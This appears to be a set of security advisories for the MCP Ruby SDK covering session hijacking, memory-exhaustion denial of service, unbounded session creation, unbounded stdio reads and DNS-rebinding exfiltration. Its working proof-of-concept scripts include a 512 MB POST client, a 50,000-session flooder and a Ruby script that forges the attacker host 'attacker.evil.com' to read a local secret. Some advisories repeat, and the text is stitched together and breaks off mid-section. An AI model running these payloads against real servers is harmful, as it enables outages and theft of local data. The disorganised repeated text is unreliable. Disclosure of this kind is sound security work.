attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
• Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
• Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

1. Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
2. Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
3. Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

• Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
• Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
• Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do
  loop do
    sessions = transport.instance_variable_get(:@sessions)
    count = sessions ? sessions.size : 0
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] sessions=#{count}  RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9295,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (session_poc_client.py)

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({
    "jsonrpc": "2.0", "id": 1, "method": "initialize",
    "params": {"protocolVersion": "2025-11-25", "capabilities": {},
               "clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()

REQ = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT

def one():
    try:
        s = socket.create_connection((HOST, PORT), timeout=5)
        s.sendall(REQ)
        data = b""
        while True:
            c = s.recv(8192)
            if not c: break
            data += c
        s.close()
        return b"mcp-session-id" in data.lower()
    except OSError:
        return False

start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
    futs = [ex.submit(one) for _ in range(TOTAL)]
    for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
        if f.result():
            created += 1
        if i % 1000 == 0:
            print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
                  f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
      f"{time.time() - start:.1f}s")

Reproduction commands

bundle install
ruby session_poc_server.rb          # terminal A
python3 session_poc_client.py       # terminal B

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

[mem] sessions=0      RSS=45  MB
[mem] sessions=2605   RSS=56  MB
[mem] sessions=11587  RSS=72  MB
[mem] sessions=23119  RSS=85  MB
[mem] sessions=34391  RSS=119 MB
[mem] sessions=45325  RSS=128 MB
[mem] sessions=50000  RSS=154 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB
[mem] sessions=50000  RSS=152 MB     # plateau persists indefinitely

Client terminal:

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s

50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.

Impact

• Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
• Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
• Affected deployments: every deployment that does not opt into session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.

Suggested mitigation

1. Change the default of session_idle_timeout to a finite value (e.g. 30 minutes) and document the change as a security default.
2. Add a max_sessions: constructor option; reject initialize with HTTP 503 once the cap is reached.
3. Track the time of the initialize POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.

Summary

The stdio transports in MCP::Server::Transports::StdioTransport and MCP::Client::Stdio read newline-delimited JSON-RPC frames using IO#gets with no limit argument. CRuby's IO#gets with no limit reads from the current position until the next separator (\n) with no upper bound on the returned string length. A peer that streams bytes without ever emitting a newline causes gets to accumulate the entire stream in a single Ruby String until the process is killed by the operating-system OOM killer.

This is the same vulnerability class tracked in sibling MCP SDKs as GHSA-74gp-qhv5-v493 (Kotlin), GHSA-wqgc-pwpr-pq7r (TypeScript), GHSA-655q-2283-6jgj (Python), and others. It was identified during a cross-SDK audit; ruby-sdk had no prior report.

Affected code

Verified at main @ cf44475c.

Server transport — lib/mcp/server/transports/stdio_transport.rb

# line 23
while @open && (line = $stdin.gets)        # <-- no limit argument
  response = @session.handle_json(line.strip)
  ...

# line 76
while @open && (line = $stdin.gets)        # <-- no limit argument
  begin
    parsed = JSON.parse(line.strip, symbolize_names: true)

$stdin is the raw process global (only set_encoding is applied at line 16); there is no wrapper imposing a length limit.

Client transport — lib/mcp/client/stdio.rb

# line 150
@stdin, @stdout, @stderr, @wait_thread = Open3.popen3(spawn_env, @command, *@args)

# line 228
line = @stdout.gets                         # <-- no limit argument
raise_connection_error!(method, params) if line.nil?
parsed = JSON.parse(line.strip)

@stdout is the raw IO returned by Open3.popen3. The @read_timeout guard at line 227 (wait_for_readable!) only gates the IO.select before gets is invoked; once bytes are flowing, gets blocks indefinitely accumulating into one string.

Impact

Denial of service via memory exhaustion. A peer that controls the byte stream delivered to the stdio transport can grow a single Ruby String until the process exhausts available memory.

Threat-model caveat (important): In the default stdio deployment, the peer process already holds local execution privileges equal to or greater than the victim:

• On the server side (StdioTransport#open), the writer to $stdin is the parent process that spawned the server, which already holds Process.kill, environment control, and filesystem access over the child. This direction is a robustness defect rather than a security boundary in typical deployments.
• On the client side (Client::Stdio#read_response), the writer is the third-party MCP server binary the host application chose to spawn via Open3.popen3. In an unsandboxed deployment that binary already has local code execution as the host user.

This issue is primarily a security concern for:

• (a) host applications that sandbox the spawned MCP server (container, restricted user, seccomp) while piping its stdout to an unsandboxed host process — an unbounded gets lets a memory-capped sandboxed process exhaust the unconstrained host;
• (b) HTTP-to-stdio bridge deployments that forward bytes from a remote peer to a stdio server's stdin (note: surveyed bridges re-frame JSON-RPC and emit their own newlines, mitigating this in practice);
• (c) robustness against non-malicious servers that emit large unterminated output (misconfigured logging to stdout, runaway loops), which can crash the host process and all other MCP sessions it manages.

The bug fires before the JSON-RPC initialize handshake, since gets cannot return until \n arrives.

Reproduction

# poc_ruby_stdio_oom.rb — drives the real client transport against a producer that never emits \n
require "mcp/client/stdio"

# `yes` writes "y\n" — instead use a producer that never sends \n:
producer = %q{ruby -e 'STDOUT.sync=true; loop { print "A" * 65536 }'}

client = MCP::Client::Stdio.new(command: "bash", args: ["-c", producer])
client.start
# any request triggers read_response → @stdout.gets → unbounded String growth
client.send_request(method: "initialize", params: {})

Observed: process RSS grows linearly with bytes produced; gets never returns; process is OOM-killed.

Suggested fix

IO#gets accepts a second limit argument. Apply a configurable maximum line length (default suggested: 4 MiB — large enough for any realistic JSON-RPC frame including base64-embedded images) at all three call sites, and treat an over-limit line as a transport error that closes the connection:

MAX_LINE_BYTES = 4 * 1024 * 1024

while @open && (line = $stdin.gets("\n", MAX_LINE_BYTES))
  unless line.end_with?("\n")
    # gets returned because the limit was hit, not because a newline arrived
    raise MCP::TransportError, "stdio frame exceeds #{MAX_LINE_BYTES} bytes without newline"
  end
  ...
end

Apply the same pattern at stdio_transport.rb:76 and client/stdio.rb:228. Expose MAX_LINE_BYTES as a constructor option on both transports for callers with legitimate large-frame needs.

Credit

Identified during a cross-SDK audit of the stdio unbounded-buffer vulnerability class, prompted by GHSA-74gp-qhv5-v493 (reporter: tonghuaroot).

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

• An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
• Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
• The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

• extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
• validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
• validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
• validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

• Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
• In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
• Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

Summary

Vulnerability: Missing Session Ownership Validation in the Ruby MCP SDK's Streamable and SSE HTTP transport implementation. Any attacker with a stolen session ID can execute tools with the victim's session. This is a silent attack - the victim's session is compromised and being used for unauthorized actions, but it is hard to know for the victim

Details

https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb#L260-L278

Victim starts a legitimate MCP session and receives session ID abc-123 Attacker obtains the session ID (various means - network sniffing, logs, etc. out of scope for this analysis) Attacker sends POST to /messages/abc-123 with a tool call Server accepts the request (no ownership validation!) Server executes the tool and sends response to victim's SSE stream Victim receives attacker's response, thinking it's legitimate

PoC

attacker_client.py legitimate_client.py

Prerequisites

1. Python 3.8+
2. Install dependencies: requests

Running the Demo

1. Terminal 1: Start the Ruby MCP Server

ruby streamable_http_server.rb

Makes use of https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb This server has a tool call notification_tool which the clients call

2. Terminal 2: Start Victim Client

python3 legitimate_client.py

3. Terminal 3 - Attacker Client:

Copy the session ID from Terminal 1 and run:

python3 attacker_client.py abc-123-def-456

4. Back to Terminal 2 - Victim sees the injected response:

Impact

• Integrity: HIGH - Attacker can execute unauthorized tools and modify state
• Availability: LOW - Attacker can disrupt victim's session with injected responses

Additional Details

Session Hijacking Protection in MCP Implementations

The MCP specification recommends - "MCP servers SHOULD bind session IDs to user-specific information".

User Binding - Comparison other SDKs

csharp-sdk

• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L36
• https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L95-L98

Go-sdk

• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L66
• https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L316-L320

Comparison with the Stream Replacement vulnerability

Stream Replacement https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35

• Target: SSE stream connection
• Attack Vector: GET /mcp
• What happens to Victim: The connection is disconnected and doesn't receive reponses

Session Poisoning

• Target: Tool execution
• Attack Vector: POST /mcp
• What happens to Victim: The connection stays connected and receives responses of tool calls by attacker

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

• Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
• Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (oom_poc_server.rb)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (oom_poc_client.py)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

Impact

• Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
